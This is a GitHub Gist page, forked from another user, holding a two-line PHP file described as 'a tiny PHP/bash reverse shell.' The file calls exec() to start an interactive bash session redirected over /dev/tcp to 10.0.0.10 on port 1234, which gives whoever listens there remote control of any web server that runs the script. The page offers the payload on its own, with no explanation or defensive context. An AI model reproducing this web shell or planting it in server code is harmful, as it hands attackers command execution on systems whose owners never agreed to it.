Skip to content

Instantly share code, notes, and snippets.

@p10trm
Forked from rshipp/shell.php
Created September 18, 2021 11:42
Show Gist options
  • Save p10trm/1a954fcbd5ee2b29ec03dea402b9ae31 to your computer and use it in GitHub Desktop.
Save p10trm/1a954fcbd5ee2b29ec03dea402b9ae31 to your computer and use it in GitHub Desktop.
A tiny PHP/bash reverse shell.
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.10/1234 0>&1'");
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment